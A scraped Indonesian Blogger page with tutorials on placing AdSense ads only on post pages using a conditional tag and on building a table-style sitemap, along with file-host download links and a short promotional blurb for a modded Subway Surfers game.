value="http://datafilehost.com/d/i3aErx0u2W" /><br/><br/><input class="form-control input-sm" onclick="this.select();" type="text" value="https://tusfiles.net/22q3rah4jwq5" /><br/><br/><input class="form-control input-sm" onclick="this.select();" type="text" value="http://uppit.com/fzy1lx92pubo" /><br/><br/><input class="form-control input-sm" onclick="this.select();" type="text" value="http://www.mirrorcreator.com/files/YZBAPJBU/genovablogger_0.rar_links" />

Diposting oleh Mr Xiulung

Cara Menampilkan Iklan Adsense Hanya di Sidebar dan Halaman Posting

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on">Peletakan Iklan Adsense memang berpengaruh untuk meningkatkan CPC terhadap Iklan Adsense. Sebenarnya kode Iklan Adsense bisa diletakkan dimana saja, Anda bisa menempatkan di Home page, di Halaman Blog dll. Yang peting Anda tidak melanggar aturan peletakan Iklan Adsense. Namun lokasi yang paling banyak para Blogger menempatkan Iklan Adsense nya adalah dibagian; Sidebar Blog, Home Page Blog, dan Halaman Posting. Postingan kali ini adalah bagaimana cara menempatkan Iklan Adsense hanya Tampil dibagian Sidebar; <b>Ukuran 300x600</b> dengan Menggunakan<b> Kode Tag Condisional</>.</b> Maksud dari artikel ini adalah ketika anda membuka <b>Home Page</b>. Iklan tersebut tidak ada atau tidak tampil. Namun jika anda membuka suatu postingan atau mengklik artikel anda, maka iklan adsense tersebut tampil dibagian Sidebar.<br /><br />Baca Juga :<br /><ul style="text-align: left;"><li><a href="http://maycyber-download.blogspot.com/2016/09/cara-membuat-iklan-adsense-melayang-di.html">Cara Membuat Iklan Adsense Melayang di Kiri dan Kanan Blog</a></li><li><a href="http://maycyber-download.blogspot.com/2016/09/cara-membuat-iklan-adsense-di-kiri-dan.html">Cara Membuat Iklan Adsense di Kiri dan Kanan Postingan </a></li></ul><ul style="text-align: left;"></ul><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbRMQMYYZlCotq06chDDT5aN6TQtIq7qvWgNWyH2K1qPpr2Y-YelevRExDSDiNQYjiRa0Y03hbf0G4q0uuIkA61sCQt4Vd0cWQQOhg5jlMttqKEhXZLhQlSWP7TaL1JBlsxQ-FNpZ7ptQ/s1600/%255BMayCyber%255D+-AdsenseOptimized.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="[MayCyber] -AdsenseOptimized" border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbRMQMYYZlCotq06chDDT5aN6TQtIq7qvWgNWyH2K1qPpr2Y-YelevRExDSDiNQYjiRa0Y03hbf0G4q0uuIkA61sCQt4Vd0cWQQOhg5jlMttqKEhXZLhQlSWP7TaL1JBlsxQ-FNpZ7ptQ/s640/%255BMayCyber%255D+-AdsenseOptimized.jpg" title="[MayCyber] -AdsenseOptimized" width="480" /></a></div>Cara Menempatkan Iklan Adsense :<br /><br />1. Buka <a href="https://blogger.com/">Blogger</a>, Kemudian Login.<br />2. Buka <a href="http://adsense.com/">Google Adsense</a>,Kemudian Pilih atau buat Iklan Adsense dengan ukuran <b>300x600</b>.<br />3. Parse kode Iklan anda - <a href="http://maycyber-download.blogspot.com/p/blog-page_29.html">Disini</a>.<br /><br />Proses Pemasangan :<br /><br />1. Temukan kode <b><div class='sidebar-wrapper'></b> Atau yang serupa.<br />2. Kemudian paste kode Tag Condisional berikut ini.<br /><br /><div style="border: 1px solid rgb(153 , 153 , 153); height: 30px; overflow: auto; text-align: left; width: 580px;"><i><b:if cond='data:blog.pageType == &quot;item&quot;'></i><br /><br /></div></div><br />3. Lalu anda pasang kode iklan yang sudah diparse tadi, tepat dibawah kode Tag Condisional itu.<br /><b>Screenshoot : </b><br /><br /><b><i>klik untuk membesar gambar.</i></b><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOZivt5BHiSd7Nd_fUoEATtdqR4x1Tlv15Lys8eYq7f02-5myGTA6tH-3ycOZ2O_Sixgy7wZfwLAW8GyGer0VNeeR_q-gxtDD20Mx-tqInkWrvPXga9IUkKL61BkkvFv8qcAUD3MUAoFc/s1600/Tag+Condisional-Optimized+Ads.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="[MayCyber] - Tag Condisional-Optimized Ads" border="0" height="216" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOZivt5BHiSd7Nd_fUoEATtdqR4x1Tlv15Lys8eYq7f02-5myGTA6tH-3ycOZ2O_Sixgy7wZfwLAW8GyGer0VNeeR_q-gxtDD20Mx-tqInkWrvPXga9IUkKL61BkkvFv8qcAUD3MUAoFc/s640/Tag+Condisional-Optimized+Ads.jpg" title="[MayCyber] - Tag Condisional-Optimized Ads" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhV81F_f2biD8zqpZThB1ZDtmqq0vjmx_bs2hUkhuAMXe0KR3M3mVSTnLCD2ZSn9SMSU9_owNV20NE-o0iha2zhXdkBDB1AWujXhQRrjs912LTHKIGjpFGMaay0a2KeXWHrzY65KeSsZPQ/s1600/%255BMayCyber%255D+-+Optimized+Ads.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="112" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhV81F_f2biD8zqpZThB1ZDtmqq0vjmx_bs2hUkhuAMXe0KR3M3mVSTnLCD2ZSn9SMSU9_owNV20NE-o0iha2zhXdkBDB1AWujXhQRrjs912LTHKIGjpFGMaay0a2KeXWHrzY65KeSsZPQ/s640/%255BMayCyber%255D+-+Optimized+Ads.jpg" width="640" /></a></div></div><br />4. Seperi gambar diatas, anda membuatnya seperti ini.<br /><br /><div style="border: 1px solid rgb(153 , 153 , 153); height: 250px; overflow: auto; text-align: left; width: 580px;"><div style="border: 1px solid rgb(153 , 153 , 153); height: 250px; overflow: auto; text-align: left; width: 580px;"><span style="color: red;"><i><b:if cond='data:blog.pageType == &quot;item&quot;'></i></span><br /><i>&lt;script async src=&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;</i><br /><i>&lt;!-- 300x600ads --&gt;</i><br /><i>&lt;ins class=&quot;adsbygoogle&quot;</i><br /><i> style=&quot;display:inline-block;width:300px;height:600px&quot;</i><br /><i>data-ad-client=&quot;ca-pub-xxxxxxxxxx&quot;</i><br /><i>data-ad-slot=&quot;xxxxxxxxx&quot;&gt;&lt;/ins&gt;</i><br /><i>&lt;script&gt;</i><br /><i>(adsbygoogle = window.adsbygoogle || []).push({});</i><br /><i>&lt;/script&gt;</i><br /><span style="color: red;"><i></b:if></i></span></div></div></div><br />5. Selesai!<br /><br />Semoga Bermanfaat! Sekian Tips Adsense dari saya, Semoga Berhasil dan apabila terjadi kesalahan, silakan jangan sungkan untuk berkomentar, karena komentar anda akan saya balas. :)</div>

Diposting oleh Mr Xiulung

Subway Surfers Washington, D.C v1.63.0 Mod

<br /><br /><br /><br />DASH as fast as you can!<br />DODGE the oncoming trains!<br />Help Jake, Tricky & Fresh escape from the grumpy Inspector and his dog.<br /><br />★ Grind trains with your cool crew!<br />★ Colorful and vivid HD graphics!<br />★ Hoverboard Surfing!<br />★ Paint powered jetpack!<br />★ Lightning fast swipe acrobatics!<br />★ Challenge and help your friends!<br /><br />Join the most daring chase!<br /><br />A Universal App with HD optimized graphics.<br /><br />By Kiloo

Diposting oleh Mr Xiulung

Cara Membuat Sitemap dengan Tabel di Blogger

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;" trbidi="on">Sitemap adalah menampilkan dan menempatkan semua artikel yang pernah anda posting menjadi satu halaman. Sitemap ini berperan sangat penting yaitu memudahkan pengunjung melihat semua postingan anda, karena sitemap ini menempatkan semua artikel dalam satu halaman. Walaupun itu artikel baru maupun artikel yang sudah lama. Alangkah baiknya blog anda dipasangkan Sitemap. Tujuannya adalah supaya Pengunjung atau Visitor tidak kebingungan mencari artikel apa saja yang ada di blog anda. Selain itu Sitemap tidak perlu diubah-ubah. Kerena ketika kita membuat "Postingan baru" dan anda memposting nya, maka secara otomatis <i><b>Sitemap</b></i> ini akan mengindex postingan tersebut. Baik, ikuti langkah-langkah ini jika anda ingin membuatnya.<br /><br /><div style="text-align: left;">Baca Juga :<br /><br />1. <a href="http://maycyber-download.blogspot.com/2016/09/cara-membuat-site-map-atau-daftar-isi.html">Cara Membuat Sitemap atau Daftar isi Versi Anchor Text</a></div><div style="text-align: left;">2. <a href="http://maycyber-download.blogspot.com/2016/08/cara-membuat-site-map-bergambar.html">Cara Membuat Sitemap Bergambar (Thumbnail)</a></div><div style="text-align: left;">3. <a href="http://maycyber-download.blogspot.com/2016/07/cara-membuat-sitemap-di-blogger.html">Cara Membuat Sitemap Otomatis</a> (Versi Anchor Text)</div><br />Screenshoot :<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDQlEYvpndO9yLy3F7BZwEzO1JG0FXoN4xfagxiWk7WA9fZMUax12MDRJbKNlFnhz7C2ZoiWICZJDakAz5Rdo-yItyWAtIt91_fvFVOGok6p75t0yGkT-beaO5nlvAAVzbIvV6S6QU0LU/s1600/site-map.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="site-map" border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDQlEYvpndO9yLy3F7BZwEzO1JG0FXoN4xfagxiWk7WA9fZMUax12MDRJbKNlFnhz7C2ZoiWICZJDakAz5Rdo-yItyWAtIt91_fvFVOGok6p75t0yGkT-beaO5nlvAAVzbIvV6S6QU0LU/s640/site-map.jpg" title="site-map" width="626" /></a></div><br /><div style="text-align: center;"><a href="http://maydimac-magz.blogspot.com/p/peta-situs.html">View Sitemap</a><br /><br /><div style="text-align: left;"> Cara Pertama :<br /><br />1. Buka Blogger, kemudian login.</div><div style="text-align: left;">2. Dashboard - Laman.</div><div style="text-align: left;">3. Laman kosong - Buat Laman baru.<br /><br />Proses Pembuatan :<br /><br />1. Pilih bagian <b>HTML </b>bukan <b>COMPOSE</b> pada laman baru tersebut.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgugJhPnkvY6xLgFwQt9rLQweHO_RGVFMcs2b5y8vy7QReu_w-fzv0O859Gru3SMoLtp_Pp1yLhlzOtlrdjCf4XG4AObCNyl2OO3NDR9gUhf9QIgEiIXzVBwltX8G9ZzOplipXIkZo7s9U/s1600/Compose-HTML.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Compose-HTML" border="0" height="74" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgugJhPnkvY6xLgFwQt9rLQweHO_RGVFMcs2b5y8vy7QReu_w-fzv0O859Gru3SMoLtp_Pp1yLhlzOtlrdjCf4XG4AObCNyl2OO3NDR9gUhf9QIgEiIXzVBwltX8G9ZzOplipXIkZo7s9U/s320/Compose-HTML.jpg" title="Compose-HTML" width="320" /></a></div></div><div style="text-align: left;">2. Copy&Paste kode berikut ini, dan Letakkan dibagian <b>HTML</b>.</div></div><pre data-codetype="CSS" title="CSS"><code class="language-css"><style type="text/css">#bp_toc {border: 3px solid #FF9934;color: #666;float: left;margin: 0 auto;padding: 0;width: 99%;}span.toc-note {display: none;}#bp_toc tr:nth-child(2n) {background: #ecf3f4;}td.toc-entry-col1 a {font-weight: bold;}.toc-header-col1,.toc-header-col2,.toc-header-col3 {background:#FF9934;}.toc-header-col1 {padding: 10px;width: 250px;}.toc-header-col2 {padding: 10px;width: 75px;}.toc-header-col3 {padding: 10px;width: 125px;}.toc-header-col1 a:link,.toc-header-col1 a:visited,.toc-header-col2 a:link,.toc-header-col2 a:visited,.toc-header-col3 a:link,.toc-header-col3 a:visited {font-size: 15px;text-decoration: none;color: #374760;font-weight: 700;letter-spacing: 0.5px;}.toc-header-col1 a:hover,.toc-header-col2 a:hover,.toc-header-col3 a:hover {text-decoration: none;}.toc-entry-col1,.toc-entry-col2,.toc-entry-col3 {padding: 5px;text-align: left;}.toc-entry-col3 {padding-left: 10px}#bp_toc table {width: 100%;margin: 0 auto;counter-reset: rowNumber;}.toc-entry-col1 {counter-increment: rowNumber;}#bp_toc table tr td.toc-entry-col1:first-child::before {content: counter(rowNumber)".";min-width: 1em;min-height: 4em;float: left;border-right: 1px solid #fff;padding: 0 5px;text-align: center;margin-right: 10px;}td.toc-entry-col2 {text-align: center;}</style><br /><br /><div id="bp_toc"><br /><script src="https://cdn.rawgit.com/aramdan/share/master/sitemapsf.js" type="text/javascript"></script><script src="/feeds/posts/summary?alt=json-in-script&amp;max-results=9999&amp;callback=loadtoc"></script></div></code></pre>3. Simpan Laman.<br /><br />Demikian Tutorial Blogger kali ini, bila terjadi kesalahan silakan jangan sungkan untuk berkomentar dibawah ini. Terakhir silakan lihat halaman statis sitemap tersebut. Sekian dari saya, <b>Semoga Bermanfaat!</b> Thanks for Reading & Sharing : <b>Cara Membuat Sitemap dengan Tabel di Blogger</b></div></div>

Diposting oleh Mr Xiulung